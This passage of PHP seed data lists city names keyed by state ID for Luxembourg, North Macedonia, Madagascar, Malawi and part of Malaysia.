'name' => 'christnach'],\n ['state_id' => '2234', 'name' => 'consdorf'],\n ['state_id' => '2234', 'name' => 'dickweiler'],\n ['state_id' => '2234', 'name' => 'dillingen'],\n ['state_id' => '2234', 'name' => 'echternach'],\n ['state_id' => '2234', 'name' => 'girst'],\n ['state_id' => '2234', 'name' => 'girsterklaus'],\n ['state_id' => '2234', 'name' => 'givenich'],\n ['state_id' => '2234', 'name' => 'grundhof'],\n ['state_id' => '2234', 'name' => 'haller'],\n ['state_id' => '2234', 'name' => 'hemstal'],\n ['state_id' => '2234', 'name' => 'herborn'],\n ['state_id' => '2234', 'name' => 'hersberg-kobenbour-graulinster'],\n ['state_id' => '2234', 'name' => 'hinkel'],\n ['state_id' => '2234', 'name' => 'moersdorf'],\n ['state_id' => '2234', 'name' => 'mompach'],\n ['state_id' => '2234', 'name' => 'mullerthal'],\n ['state_id' => '2234', 'name' => 'osweiler'],\n ['state_id' => '2234', 'name' => 'rippig'],\n ['state_id' => '2234', 'name' => 'rosport'],\n ['state_id' => '2234', 'name' => 'scheidgen'],\n ['state_id' => '2234', 'name' => 'steinheim'],\n ['state_id' => '2234', 'name' => 'waldbillig'],\n ['state_id' => '2234', 'name' => 'weilerbach'],\n ['state_id' => '2234', 'name' => 'zittig'],\n ['state_id' => '2235', 'name' => 'abweiler'],\n ['state_id' => '2235', 'name' => 'aspelt'],\n ['state_id' => '2235', 'name' => 'belvaux'],\n ['state_id' => '2235', 'name' => 'berchem'],\n ['state_id' => '2235', 'name' => 'bergem'],\n ['state_id' => '2235', 'name' => 'bettembourg'],\n ['state_id' => '2235', 'name' => 'bivange'],\n ['state_id' => '2235', 'name' => 'crauthem'],\n ['state_id' => '2235', 'name' => 'differdange'],\n ['state_id' => '2235', 'name' => 'dudelange'],\n ['state_id' => '2235', 'name' => 'ehlange'],\n ['state_id' => '2235', 'name' => 'ehlerange'],\n ['state_id' => '2235', 'name' => 'esch-alzette'],\n ['state_id' => '2235', 'name' => 'fennange'],\n ['state_id' => '2235', 'name' => 'foetz'],\n ['state_id' => '2235', 'name' => 'fousbann'],\n ['state_id' => '2235', 'name' => 'frisange'],\n ['state_id' => '2235', 'name' => 'hellange'],\n ['state_id' => '2235', 'name' => 'huncherange'],\n ['state_id' => '2235', 'name' => 'kayl'],\n ['state_id' => '2235', 'name' => 'kockelscheuer'],\n ['state_id' => '2235', 'name' => 'lamadelaine'],\n ['state_id' => '2235', 'name' => 'lasauvage'],\n ['state_id' => '2235', 'name' => 'leudelange'],\n ['state_id' => '2235', 'name' => 'limpach'],\n ['state_id' => '2235', 'name' => 'livange'],\n ['state_id' => '2235', 'name' => 'mondercange'],\n ['state_id' => '2235', 'name' => 'niedercorn'],\n ['state_id' => '2235', 'name' => 'noertzange'],\n ['state_id' => '2235', 'name' => 'obercorn'],\n ['state_id' => '2235', 'name' => 'peppange'],\n ['state_id' => '2235', 'name' => 'petange'],\n ['state_id' => '2235', 'name' => 'pissange'],\n ['state_id' => '2235', 'name' => 'pontpierre'],\n ['state_id' => '2235', 'name' => 'reckange-sur-mess'],\n ['state_id' => '2235', 'name' => 'rodange'],\n ['state_id' => '2235', 'name' => 'roedgen'],\n ['state_id' => '2235', 'name' => 'roeser'],\n ['state_id' => '2235', 'name' => 'rumelange'],\n ['state_id' => '2235', 'name' => 'sanem'],\n ['state_id' => '2235', 'name' => 'schifflange'],\n ['state_id' => '2235', 'name' => 'soleuvre'],\n ['state_id' => '2235', 'name' => 'tetange'],\n ['state_id' => '2235', 'name' => 'wickrange'],\n ['state_id' => '2236', 'name' => 'ahn-dreiborn'],\n ['state_id' => '2236', 'name' => 'altlinster'],\n ['state_id' => '2236', 'name' => 'beidweiler'],\n ['state_id' => '2236', 'name' => 'berbourg'],\n ['state_id' => '2236', 'name' => 'berg'],\n ['state_id' => '2236', 'name' => 'betzdorf'],\n ['state_id' => '2236', 'name' => 'beyren'],\n ['state_id' => '2236', 'name' => 'biwer'],\n ['state_id' => '2236', 'name' => 'biwerbach'],\n ['state_id' => '2236', 'name' => 'boudler'],\n ['state_id' => '2236', 'name' => 'boudlerbach'],\n ['state_id' => '2236', 'name' => 'bourglinster'],\n ['state_id' => '2236', 'name' => 'breinert'],\n ['state_id' => '2236', 'name' => 'brouch'],\n ['state_id' => '2236', 'name' => 'ehnen'],\n ['state_id' => '2236', 'name' => 'eisenborn'],\n ['state_id' => '2236', 'name' => 'eschweiler'],\n ['state_id' => '2236', 'name' => 'flaxweiler'],\n ['state_id' => '2236', 'name' => 'godbrange'],\n ['state_id' => '2236', 'name' => 'gonderange'],\n ['state_id' => '2236', 'name' => 'gostingen'],\n ['state_id' => '2236', 'name' => 'graulinster-blumenthal'],\n ['state_id' => '2236', 'name' => 'grevenmacher'],\n ['state_id' => '2236', 'name' => 'hagelsdorf'],\n ['state_id' => '2236', 'name' => 'imbringen'],\n ['state_id' => '2236', 'name' => 'junglinster'],\n ['state_id' => '2236', 'name' => 'lellig'],\n ['state_id' => '2236', 'name' => 'machtum'],\n ['state_id' => '2236', 'name' => 'manternach'],\n ['state_id' => '2236', 'name' => 'mensdorf'],\n ['state_id' => '2236', 'name' => 'mertert'],\n ['state_id' => '2236', 'name' => 'munschecker'],\n ['state_id' => '2236', 'name' => 'niederdonven'],\n ['state_id' => '2236', 'name' => 'oberdonven'],\n ['state_id' => '2236', 'name' => 'olingen'],\n ['state_id' => '2236', 'name' => 'rodenbourg'],\n ['state_id' => '2236', 'name' => 'roodt-sur-syr'],\n ['state_id' => '2236', 'name' => 'wasserbillig'],\n ['state_id' => '2236', 'name' => 'wecker'],\n ['state_id' => '2236', 'name' => 'wecker-gare'],\n ['state_id' => '2236', 'name' => 'weydig'],\n ['state_id' => '2236', 'name' => 'wormeldange'],\n ['state_id' => '2236', 'name' => 'wormeldange-haut'],\n ['state_id' => '2237', 'name' => 'alzingen'],\n ['state_id' => '2237', 'name' => 'bereldange'],\n ['state_id' => '2237', 'name' => 'bertrange'],\n ['state_id' => '2237', 'name' => 'contern'],\n ['state_id' => '2237', 'name' => 'ernster'],\n ['state_id' => '2237', 'name' => 'fentange'],\n ['state_id' => '2237', 'name' => 'findel'],\n ['state_id' => '2237', 'name' => 'hassel'],\n ['state_id' => '2237', 'name' => 'heisdorf'],\n ['state_id' => '2237', 'name' => 'helmsange'],\n ['state_id' => '2237', 'name' => 'hesperange'],\n ['state_id' => '2237', 'name' => 'hostert'],\n ['state_id' => '2237', 'name' => 'howald'],\n ['state_id' => '2237', 'name' => 'itzig'],\n ['state_id' => '2237', 'name' => 'luxembourg'],\n ['state_id' => '2237', 'name' => 'medingen'],\n ['state_id' => '2237', 'name' => 'moutfort'],\n ['state_id' => '2237', 'name' => 'mullendorf'],\n ['state_id' => '2237', 'name' => 'munsbach'],\n ['state_id' => '2237', 'name' => 'neuhaeusgen'],\n ['state_id' => '2237', 'name' => 'niederanven'],\n ['state_id' => '2237', 'name' => 'oberanven'],\n ['state_id' => '2237', 'name' => 'oetrange'],\n ['state_id' => '2237', 'name' => 'rameldange'],\n ['state_id' => '2237', 'name' => 'sandweiler'],\n ['state_id' => '2237', 'name' => 'schrassig'],\n ['state_id' => '2237', 'name' => 'schuttrange'],\n ['state_id' => '2237', 'name' => 'senningen'],\n ['state_id' => '2237', 'name' => 'senningerberg'],\n ['state_id' => '2237', 'name' => 'steinsel'],\n ['state_id' => '2237', 'name' => 'strassen'],\n ['state_id' => '2237', 'name' => 'syren'],\n ['state_id' => '2237', 'name' => 'uebersyren'],\n ['state_id' => '2237', 'name' => 'waldhof'],\n ['state_id' => '2237', 'name' => 'walferdange'],\n ['state_id' => '2237', 'name' => 'weiler-la-tour'],\n ['state_id' => '2238', 'name' => 'angelsberg'],\n ['state_id' => '2238', 'name' => 'ansembourg'],\n ['state_id' => '2238', 'name' => 'beringen'],\n ['state_id' => '2238', 'name' => 'bissen'],\n ['state_id' => '2238', 'name' => 'blaschette'],\n ['state_id' => '2238', 'name' => 'boevange-attert'],\n ['state_id' => '2238', 'name' => 'bofferdange'],\n ['state_id' => '2238', 'name' => 'bour'],\n ['state_id' => '2238', 'name' => 'brouch'],\n ['state_id' => '2238', 'name' => 'buschdorf'],\n ['state_id' => '2238', 'name' => 'colmar-berg'],\n ['state_id' => '2238', 'name' => 'cruchten'],\n ['state_id' => '2238', 'name' => 'ernzen'],\n ['state_id' => '2238', 'name' => 'essingen'],\n ['state_id' => '2238', 'name' => 'fischbach'],\n ['state_id' => '2238', 'name' => 'glabach'],\n ['state_id' => '2238', 'name' => 'gosseldange'],\n ['state_id' => '2238', 'name' => 'grevenknapp-bill-finsterthal'],\n ['state_id' => '2238', 'name' => 'heffingen'],\n ['state_id' => '2238', 'name' => 'helmdange'],\n ['state_id' => '2238', 'name' => 'hollenfels'],\n ['state_id' => '2238', 'name' => 'hunsdorf'],\n ['state_id' => '2238', 'name' => 'larochette'],\n ['state_id' => '2238', 'name' => 'lintgen'],\n ['state_id' => '2238', 'name' => 'lorentzweiler'],\n ['state_id' => '2238', 'name' => 'marienthal'],\n ['state_id' => '2238', 'name' => 'mersch'],\n ['state_id' => '2238', 'name' => 'moesdorf'],\n ['state_id' => '2238', 'name' => 'nommern'],\n ['state_id' => '2238', 'name' => 'pettingen'],\n ['state_id' => '2238', 'name' => 'prettange'],\n ['state_id' => '2238', 'name' => 'reckange'],\n ['state_id' => '2238', 'name' => 'reuland'],\n ['state_id' => '2238', 'name' => 'rollingen'],\n ['state_id' => '2238', 'name' => 'scherbach'],\n ['state_id' => '2238', 'name' => 'scherfenhof'],\n ['state_id' => '2238', 'name' => 'schiltzberg'],\n ['state_id' => '2238', 'name' => 'schoenfels'],\n ['state_id' => '2238', 'name' => 'schoos'],\n ['state_id' => '2238', 'name' => 'schrondweiler'],\n ['state_id' => '2238', 'name' => 'tuntange'],\n ['state_id' => '2239', 'name' => 'arsdorf'],\n ['state_id' => '2239', 'name' => 'beckerich'],\n ['state_id' => '2239', 'name' => 'bettborn'],\n ['state_id' => '2239', 'name' => 'bigonville'],\n ['state_id' => '2239', 'name' => 'bilsdorf'],\n ['state_id' => '2239', 'name' => 'brattert-rindschleiden'],\n ['state_id' => '2239', 'name' => 'buschrodt'],\n ['state_id' => '2239', 'name' => 'calmus'],\n ['state_id' => '2239', 'name' => 'colpach-bas'],\n ['state_id' => '2239', 'name' => 'colpach-haut'],\n ['state_id' => '2239', 'name' => 'dellen-lehrhof-grevels'],\n ['state_id' => '2239', 'name' => 'ehner'],\n ['state_id' => '2239', 'name' => 'ell'],\n ['state_id' => '2239', 'name' => 'eltz'],\n ['state_id' => '2239', 'name' => 'elvange'],\n ['state_id' => '2239', 'name' => 'eschette'],\n ['state_id' => '2239', 'name' => 'everlange'],\n ['state_id' => '2239', 'name' => 'folschette'],\n ['state_id' => '2239', 'name' => 'grevels'],\n ['state_id' => '2239', 'name' => 'grosbous'],\n ['state_id' => '2239', 'name' => 'haut-martelange'],\n ['state_id' => '2239', 'name' => 'heispelt'],\n ['state_id' => '2239', 'name' => 'holtz'],\n ['state_id' => '2239', 'name' => 'hostert'],\n ['state_id' => '2239', 'name' => 'hovelange'],\n ['state_id' => '2239', 'name' => 'huttange'],\n ['state_id' => '2239', 'name' => 'kapweiler'],\n ['state_id' => '2239', 'name' => 'koetschette'],\n ['state_id' => '2239', 'name' => 'kuborn'],\n ['state_id' => '2239', 'name' => 'lannen'],\n ['state_id' => '2239', 'name' => 'levelange'],\n ['state_id' => '2239', 'name' => 'michelbouch'],\n ['state_id' => '2239', 'name' => 'nagem'],\n ['state_id' => '2239', 'name' => 'niederpallen'],\n ['state_id' => '2239', 'name' => 'noerdange'],\n ['state_id' => '2239', 'name' => 'oberpallen'],\n ['state_id' => '2239', 'name' => 'ospern'],\n ['state_id' => '2239', 'name' => 'perle'],\n ['state_id' => '2239', 'name' => 'petit-nobressart'],\n ['state_id' => '2239', 'name' => 'platen'],\n ['state_id' => '2239', 'name' => 'pratz'],\n ['state_id' => '2239', 'name' => 'rambrouch'],\n ['state_id' => '2239', 'name' => 'redange'],\n ['state_id' => '2239', 'name' => 'reichlange'],\n ['state_id' => '2239', 'name' => 'reimberg'],\n ['state_id' => '2239', 'name' => 'rippweiler'],\n ['state_id' => '2239', 'name' => 'rombach'],\n ['state_id' => '2239', 'name' => 'roodt'],\n ['state_id' => '2239', 'name' => 'saeul'],\n ['state_id' => '2239', 'name' => 'schandel'],\n ['state_id' => '2239', 'name' => 'schwebach'],\n ['state_id' => '2239', 'name' => 'schweich'],\n ['state_id' => '2239', 'name' => 'useldange'],\n ['state_id' => '2239', 'name' => 'vichten'],\n ['state_id' => '2239', 'name' => 'wahl'],\n ['state_id' => '2239', 'name' => 'wolwelange'],\n ['state_id' => '2240', 'name' => 'altwies'],\n ['state_id' => '2240', 'name' => 'assel'],\n ['state_id' => '2240', 'name' => 'bech-kleinmacher'],\n ['state_id' => '2240', 'name' => 'bous'],\n ['state_id' => '2240', 'name' => 'burmerange'],\n ['state_id' => '2240', 'name' => 'canach'],\n ['state_id' => '2240', 'name' => 'dalheim'],\n ['state_id' => '2240', 'name' => 'ellange'],\n ['state_id' => '2240', 'name' => 'elvange'],\n ['state_id' => '2240', 'name' => 'emerange'],\n ['state_id' => '2240', 'name' => 'erpeldange'],\n ['state_id' => '2240', 'name' => 'filsdorf'],\n ['state_id' => '2240', 'name' => 'greiveldange'],\n ['state_id' => '2240', 'name' => 'lenningen'],\n ['state_id' => '2240', 'name' => 'mondorf-les-bains'],\n ['state_id' => '2240', 'name' => 'remerschen'],\n ['state_id' => '2240', 'name' => 'remich'],\n ['state_id' => '2240', 'name' => 'rolling'],\n ['state_id' => '2240', 'name' => 'schengen'],\n ['state_id' => '2240', 'name' => 'schwebsingen'],\n ['state_id' => '2240', 'name' => 'stadtbredimus'],\n ['state_id' => '2240', 'name' => 'trintange'],\n ['state_id' => '2240', 'name' => 'trintange-ersange-roedt'],\n ['state_id' => '2240', 'name' => 'waldbredimus'],\n ['state_id' => '2240', 'name' => 'welfrange'],\n ['state_id' => '2240', 'name' => 'wellenstein'],\n ['state_id' => '2240', 'name' => 'wintrange'],\n ['state_id' => '2241', 'name' => 'bettel'],\n ['state_id' => '2241', 'name' => 'bivels'],\n ['state_id' => '2241', 'name' => 'fouhren'],\n ['state_id' => '2241', 'name' => 'gralingen'],\n ['state_id' => '2241', 'name' => 'longsdorf'],\n ['state_id' => '2241', 'name' => 'merscheid'],\n ['state_id' => '2241', 'name' => 'nachtmanderscheid'],\n ['state_id' => '2241', 'name' => 'putscheid'],\n ['state_id' => '2241', 'name' => 'stolzembourg'],\n ['state_id' => '2241', 'name' => 'vianden'],\n ['state_id' => '2241', 'name' => 'walsdorf'],\n ['state_id' => '2241', 'name' => 'weiler'],\n ['state_id' => '2242', 'name' => 'alscheid'],\n ['state_id' => '2242', 'name' => 'baschleiden'],\n ['state_id' => '2242', 'name' => 'bavigne'],\n ['state_id' => '2242', 'name' => 'berle'],\n ['state_id' => '2242', 'name' => 'bockholtz'],\n ['state_id' => '2242', 'name' => 'boulaide'],\n ['state_id' => '2242', 'name' => 'buderscheid'],\n ['state_id' => '2242', 'name' => 'dahl'],\n ['state_id' => '2242', 'name' => 'doncols'],\n ['state_id' => '2242', 'name' => 'enscherange'],\n ['state_id' => '2242', 'name' => 'erpeldange'],\n ['state_id' => '2242', 'name' => 'esch-sur-sure'],\n ['state_id' => '2242', 'name' => 'eschdorf'],\n ['state_id' => '2242', 'name' => 'eschweiler'],\n ['state_id' => '2242', 'name' => 'goesdorf'],\n ['state_id' => '2242', 'name' => 'grumelscheid'],\n ['state_id' => '2242', 'name' => 'harlange'],\n ['state_id' => '2242', 'name' => 'heiderscheid'],\n ['state_id' => '2242', 'name' => 'heiderscheid-fond'],\n ['state_id' => '2242', 'name' => 'hierheck'],\n ['state_id' => '2242', 'name' => 'insenborn'],\n ['state_id' => '2242', 'name' => 'kaundorf'],\n ['state_id' => '2242', 'name' => 'kautenbach'],\n ['state_id' => '2242', 'name' => 'knaphoscheid'],\n ['state_id' => '2242', 'name' => 'lellingen'],\n ['state_id' => '2242', 'name' => 'liefrange'],\n ['state_id' => '2242', 'name' => 'lultzhausen'],\n ['state_id' => '2242', 'name' => 'masseler'],\n ['state_id' => '2242', 'name' => 'mecher'],\n ['state_id' => '2242', 'name' => 'merckholtz'],\n ['state_id' => '2242', 'name' => 'merscheid'],\n ['state_id' => '2242', 'name' => 'neunhausen'],\n ['state_id' => '2242', 'name' => 'nocher'],\n ['state_id' => '2242', 'name' => 'nocher-route'],\n ['state_id' => '2242', 'name' => 'noertrange'],\n ['state_id' => '2242', 'name' => 'nothum'],\n ['state_id' => '2242', 'name' => 'pintsch'],\n ['state_id' => '2242', 'name' => 'pommerloch'],\n ['state_id' => '2242', 'name' => 'schleif'],\n ['state_id' => '2242', 'name' => 'selscheid'],\n ['state_id' => '2242', 'name' => 'sonlez'],\n ['state_id' => '2242', 'name' => 'surre'],\n ['state_id' => '2242', 'name' => 'tadler-ringel-dirbach'],\n ['state_id' => '2242', 'name' => 'tarchamps'],\n ['state_id' => '2242', 'name' => 'watrange'],\n ['state_id' => '2242', 'name' => 'wiltz'],\n ['state_id' => '2242', 'name' => 'wilwerwiltz'],\n ['state_id' => '2242', 'name' => 'winseler'],\n ['state_id' => '2243', 'name' => 'macau'],\n ['state_id' => '2244', 'name' => 'berovo'],\n ['state_id' => '2244', 'name' => 'pehchevo'],\n ['state_id' => '2245', 'name' => 'bach'],\n ['state_id' => '2245', 'name' => 'bistrica'],\n ['state_id' => '2245', 'name' => 'bitola'],\n ['state_id' => '2245', 'name' => 'capari'],\n ['state_id' => '2245', 'name' => 'dobrushevo'],\n ['state_id' => '2245', 'name' => 'kukurechani'],\n ['state_id' => '2245', 'name' => 'mogila'],\n ['state_id' => '2245', 'name' => 'novaci'],\n ['state_id' => '2245', 'name' => 'staravina'],\n ['state_id' => '2246', 'name' => 'brod'],\n ['state_id' => '2246', 'name' => 'plasnica'],\n ['state_id' => '2246', 'name' => 'samokov'],\n ['state_id' => '2247', 'name' => 'debar'],\n ['state_id' => '2247', 'name' => 'zhupa'],\n ['state_id' => '2248', 'name' => 'delchevo'],\n ['state_id' => '2248', 'name' => 'kamenica'],\n ['state_id' => '2250', 'name' => 'bogdanci'],\n ['state_id' => '2250', 'name' => 'gevgelija'],\n ['state_id' => '2250', 'name' => 'miravci'],\n ['state_id' => '2250', 'name' => 'star dojran'],\n ['state_id' => '2251', 'name' => 'chegrane'],\n ['state_id' => '2251', 'name' => 'dolna banjica'],\n ['state_id' => '2251', 'name' => 'gostivar'],\n ['state_id' => '2251', 'name' => 'mavrovi anovi'],\n ['state_id' => '2251', 'name' => 'negotino-poloshko'],\n ['state_id' => '2251', 'name' => 'rostusha'],\n ['state_id' => '2251', 'name' => 'srbinovo'],\n ['state_id' => '2251', 'name' => 'vrapchishte'],\n ['state_id' => '2251', 'name' => 'vrutok'],\n ['state_id' => '2252', 'name' => 'kavadarci'],\n ['state_id' => '2252', 'name' => 'konopishte'],\n ['state_id' => '2252', 'name' => 'rosoman'],\n ['state_id' => '2253', 'name' => 'drugovo'],\n ['state_id' => '2253', 'name' => 'kichevo'],\n ['state_id' => '2253', 'name' => 'oslomej'],\n ['state_id' => '2253', 'name' => 'vraneshtica'],\n ['state_id' => '2253', 'name' => 'zajas'],\n ['state_id' => '2254', 'name' => 'cheshinovo'],\n ['state_id' => '2254', 'name' => 'kochani'],\n ['state_id' => '2254', 'name' => 'obleshevo'],\n ['state_id' => '2254', 'name' => 'zletovo'],\n ['state_id' => '2255', 'name' => 'kratovo'],\n ['state_id' => '2257', 'name' => 'krushevo'],\n ['state_id' => '2257', 'name' => 'zhitoshe'],\n ['state_id' => '2258', 'name' => 'izvor'],\n ['state_id' => '2258', 'name' => 'klechevce'],\n ['state_id' => '2258', 'name' => 'kumanovo'],\n ['state_id' => '2258', 'name' => 'lipkovo'],\n ['state_id' => '2258', 'name' => 'orashac'],\n ['state_id' => '2258', 'name' => 'staro nagorichane'],\n ['state_id' => '2259', 'name' => 'demir kapija'],\n ['state_id' => '2259', 'name' => 'negotino'],\n ['state_id' => '2260', 'name' => 'belchishta'],\n ['state_id' => '2260', 'name' => 'kosel'],\n ['state_id' => '2260', 'name' => 'mesheishta'],\n ['state_id' => '2260', 'name' => 'ohrid'],\n ['state_id' => '2261', 'name' => 'dolneni'],\n ['state_id' => '2261', 'name' => 'krivogashtani'],\n ['state_id' => '2261', 'name' => 'prilep'],\n ['state_id' => '2261', 'name' => 'topolchani'],\n ['state_id' => '2261', 'name' => 'vitolishte'],\n ['state_id' => '2262', 'name' => 'probishtip'],\n ['state_id' => '2263', 'name' => 'konche'],\n ['state_id' => '2263', 'name' => 'podaresh'],\n ['state_id' => '2263', 'name' => 'radovish'],\n ['state_id' => '2264', 'name' => 'resen'],\n ['state_id' => '2265', 'name' => 'karbinci'],\n ['state_id' => '2265', 'name' => 'shtip'],\n ['state_id' => '2265', 'name' => 'stip'],\n ['state_id' => '2266', 'name' => 'arachinovo'],\n ['state_id' => '2266', 'name' => 'chucher'],\n ['state_id' => '2266', 'name' => 'ilinden'],\n ['state_id' => '2266', 'name' => 'kondovo'],\n ['state_id' => '2266', 'name' => 'petrovec'],\n ['state_id' => '2266', 'name' => 'saraj'],\n ['state_id' => '2266', 'name' => 'skopje'],\n ['state_id' => '2266', 'name' => 'sopishte'],\n ['state_id' => '2266', 'name' => 'studenichani'],\n ['state_id' => '2266', 'name' => 'zelenikovo'],\n ['state_id' => '2267', 'name' => 'delogozhdi'],\n ['state_id' => '2267', 'name' => 'labunishta'],\n ['state_id' => '2267', 'name' => 'lukovo'],\n ['state_id' => '2267', 'name' => 'struga'],\n ['state_id' => '2267', 'name' => 'veleshta'],\n ['state_id' => '2267', 'name' => 'vevchani'],\n ['state_id' => '2268', 'name' => 'bosilovo'],\n ['state_id' => '2268', 'name' => 'kuklish'],\n ['state_id' => '2268', 'name' => 'murtino'],\n ['state_id' => '2268', 'name' => 'novo selo'],\n ['state_id' => '2268', 'name' => 'strumica'],\n ['state_id' => '2268', 'name' => 'vasilevo'],\n ['state_id' => '2270', 'name' => 'bogovinje'],\n ['state_id' => '2270', 'name' => 'brvenica'],\n ['state_id' => '2270', 'name' => 'dzhepchishte'],\n ['state_id' => '2270', 'name' => 'jegunovce'],\n ['state_id' => '2270', 'name' => 'kamenjance'],\n ['state_id' => '2270', 'name' => 'shipkovica'],\n ['state_id' => '2270', 'name' => 'tearce'],\n ['state_id' => '2270', 'name' => 'tetovo'],\n ['state_id' => '2270', 'name' => 'vratnica'],\n ['state_id' => '2270', 'name' => 'zhelino'],\n ['state_id' => '2271', 'name' => 'valandovo'],\n ['state_id' => '2272', 'name' => 'bogomila'],\n ['state_id' => '2272', 'name' => 'chashka'],\n ['state_id' => '2272', 'name' => 'gradsko'],\n ['state_id' => '2272', 'name' => 'veles'],\n ['state_id' => '2273', 'name' => 'blatec'],\n ['state_id' => '2273', 'name' => 'orizari'],\n ['state_id' => '2273', 'name' => 'vinica'],\n ['state_id' => '2273', 'name' => 'zrnovci'],\n ['state_id' => '2274', 'name' => 'ambatolampy'],\n ['state_id' => '2274', 'name' => 'anjozorobe'],\n ['state_id' => '2274', 'name' => 'ankazobe'],\n ['state_id' => '2274', 'name' => 'antananarivo'],\n ['state_id' => '2274', 'name' => 'antanifotsy'],\n ['state_id' => '2274', 'name' => 'antsirabe'],\n ['state_id' => '2274', 'name' => 'arivonimamo'],\n ['state_id' => '2274', 'name' => 'betafo'],\n ['state_id' => '2274', 'name' => 'faratsiho'],\n ['state_id' => '2274', 'name' => 'fenoarivo'],\n ['state_id' => '2274', 'name' => 'manjakandriana'],\n ['state_id' => '2274', 'name' => 'soavinandriana'],\n ['state_id' => '2274', 'name' => 'tsiroanomandidy'],\n ['state_id' => '2275', 'name' => 'ambanja'],\n ['state_id' => '2275', 'name' => 'ambilobe'],\n ['state_id' => '2275', 'name' => 'andapa'],\n ['state_id' => '2275', 'name' => 'antalaha'],\n ['state_id' => '2275', 'name' => 'antsirambazaha'],\n ['state_id' => '2275', 'name' => 'antsiranana'],\n ['state_id' => '2275', 'name' => 'sambava'],\n ['state_id' => '2276', 'name' => 'ambalavao'],\n ['state_id' => '2276', 'name' => 'ambatofinandrahana'],\n ['state_id' => '2276', 'name' => 'ambositra'],\n ['state_id' => '2276', 'name' => 'fandriana'],\n ['state_id' => '2276', 'name' => 'farafangana'],\n ['state_id' => '2276', 'name' => 'fianarantsoa'],\n ['state_id' => '2276', 'name' => 'ifanadiana'],\n ['state_id' => '2276', 'name' => 'ihosy'],\n ['state_id' => '2276', 'name' => 'ikalamavony'],\n ['state_id' => '2276', 'name' => 'ikongo'],\n ['state_id' => '2276', 'name' => 'manakara'],\n ['state_id' => '2276', 'name' => 'manandriana'],\n ['state_id' => '2276', 'name' => 'mananjary'],\n ['state_id' => '2276', 'name' => 'nosy varika'],\n ['state_id' => '2276', 'name' => 'vangaindrano'],\n ['state_id' => '2276', 'name' => 'vondrozo'],\n ['state_id' => '2277', 'name' => 'ambato boina'],\n ['state_id' => '2277', 'name' => 'antsohihy'],\n ['state_id' => '2277', 'name' => 'bealanana'],\n ['state_id' => '2277', 'name' => 'mahajanga'],\n ['state_id' => '2277', 'name' => 'marovoay'],\n ['state_id' => '2277', 'name' => 'tsaratanana'],\n ['state_id' => '2278', 'name' => 'ambatondrazaka'],\n ['state_id' => '2278', 'name' => 'ambodifototra'],\n ['state_id' => '2278', 'name' => 'amparafaravola'],\n ['state_id' => '2278', 'name' => 'andevoranto'],\n ['state_id' => '2278', 'name' => 'andilamena'],\n ['state_id' => '2278', 'name' => 'anosibe an\\'ala'],\n ['state_id' => '2278', 'name' => 'fenoarivo atsinanana'],\n ['state_id' => '2278', 'name' => 'mahanoro'],\n ['state_id' => '2278', 'name' => 'mananara'],\n ['state_id' => '2278', 'name' => 'maroantsetra'],\n ['state_id' => '2278', 'name' => 'marolambo'],\n ['state_id' => '2278', 'name' => 'moramanga'],\n ['state_id' => '2278', 'name' => 'soanierana ivongo'],\n ['state_id' => '2278', 'name' => 'toamasina'],\n ['state_id' => '2278', 'name' => 'vavatenina'],\n ['state_id' => '2278', 'name' => 'vohibinany'],\n ['state_id' => '2279', 'name' => 'amboasary'],\n ['state_id' => '2279', 'name' => 'ambovombe'],\n ['state_id' => '2279', 'name' => 'ampanihy'],\n ['state_id' => '2279', 'name' => 'ankazoabo'],\n ['state_id' => '2279', 'name' => 'beloha'],\n ['state_id' => '2279', 'name' => 'belon\\'i tsiribihina'],\n ['state_id' => '2279', 'name' => 'beroroha'],\n ['state_id' => '2279', 'name' => 'betioky'],\n ['state_id' => '2279', 'name' => 'miandrivazo'],\n ['state_id' => '2279', 'name' => 'morondava'],\n ['state_id' => '2279', 'name' => 'sakaraha'],\n ['state_id' => '2279', 'name' => 'taolanaro'],\n ['state_id' => '2279', 'name' => 'toliary'],\n ['state_id' => '2279', 'name' => 'tsihombe'],\n ['state_id' => '2280', 'name' => 'balaka'],\n ['state_id' => '2282', 'name' => 'chikwawa'],\n ['state_id' => '2283', 'name' => 'chiradzulu'],\n ['state_id' => '2284', 'name' => 'chitipa'],\n ['state_id' => '2285', 'name' => 'chipoka'],\n ['state_id' => '2285', 'name' => 'dedza'],\n ['state_id' => '2286', 'name' => 'dowa'],\n ['state_id' => '2286', 'name' => 'mponela'],\n ['state_id' => '2287', 'name' => 'chilumba'],\n ['state_id' => '2287', 'name' => 'karonga'],\n ['state_id' => '2287', 'name' => 'livingstonia'],\n ['state_id' => '2288', 'name' => 'kasungu'],\n ['state_id' => '2290', 'name' => 'liwonde'],\n ['state_id' => '2290', 'name' => 'machinga'],\n ['state_id' => '2291', 'name' => 'mangochi'],\n ['state_id' => '2291', 'name' => 'monkey bay'],\n ['state_id' => '2292', 'name' => 'mchinji'],\n ['state_id' => '2293', 'name' => 'mulanje'],\n ['state_id' => '2294', 'name' => 'mwanza'],\n ['state_id' => '2295', 'name' => 'mzimba'],\n ['state_id' => '2298', 'name' => 'nkhotakota'],\n ['state_id' => '2299', 'name' => 'nsanje'],\n ['state_id' => '2300', 'name' => 'ntcheu'],\n ['state_id' => '2301', 'name' => 'ntchisi'],\n ['state_id' => '2302', 'name' => 'phalombe'],\n ['state_id' => '2303', 'name' => 'rumphi'],\n ['state_id' => '2304', 'name' => 'salima'],\n ['state_id' => '2305', 'name' => 'luchenza'],\n ['state_id' => '2305', 'name' => 'thyolo'],\n ['state_id' => '2307', 'name' => 'bandar maharani'],\n ['state_id' => '2307', 'name' => 'bandar penggaram'],\n ['state_id' => '2307', 'name' => 'bukit bakri'],\n ['state_id' => '2307', 'name' => 'buloh kasap'],\n ['state_id' => '2307', 'name' => 'chaah'],\n ['state_id' => '2307', 'name' => 'johor bahru'],\n ['state_id' => '2307', 'name' => 'kelapa sawit'],\n ['state_id' => '2307', 'name' => 'kluang'],\n ['state_id' => '2307', 'name' => 'kota tinggi'],\n ['state_id' => '2307', 'name' => 'kulai'],\n ['state_id' => '2307', 'name' => 'labis'],\n ['state_id' => '2307', 'name' => 'ledang'],\n ['state_id' => '2307', 'name' => 'masai'],\n ['state_id' => '2307', 'name' => 'mersing'],\n ['state_id' => '2307', 'name' => 'parit raja'],\n ['state_id' => '2307', 'name' => 'pasir gudang'],\n ['state_id' => '2307', 'name' => 'pekan nenas'],\n ['state_id' => '2307', 'name' => 'pontian kecil'],\n ['state_id' => '2307', 'name' => 'segamat'],\n ['state_id' => '2307', 'name' => 'sekudai'],\n ['state_id' => '2307', 'name' => 'senai'],\n ['state_id' => '2307', 'name' => 'simpang rengam'],\n ['state_id' => '2307', 'name' => 'tangkak'],\n 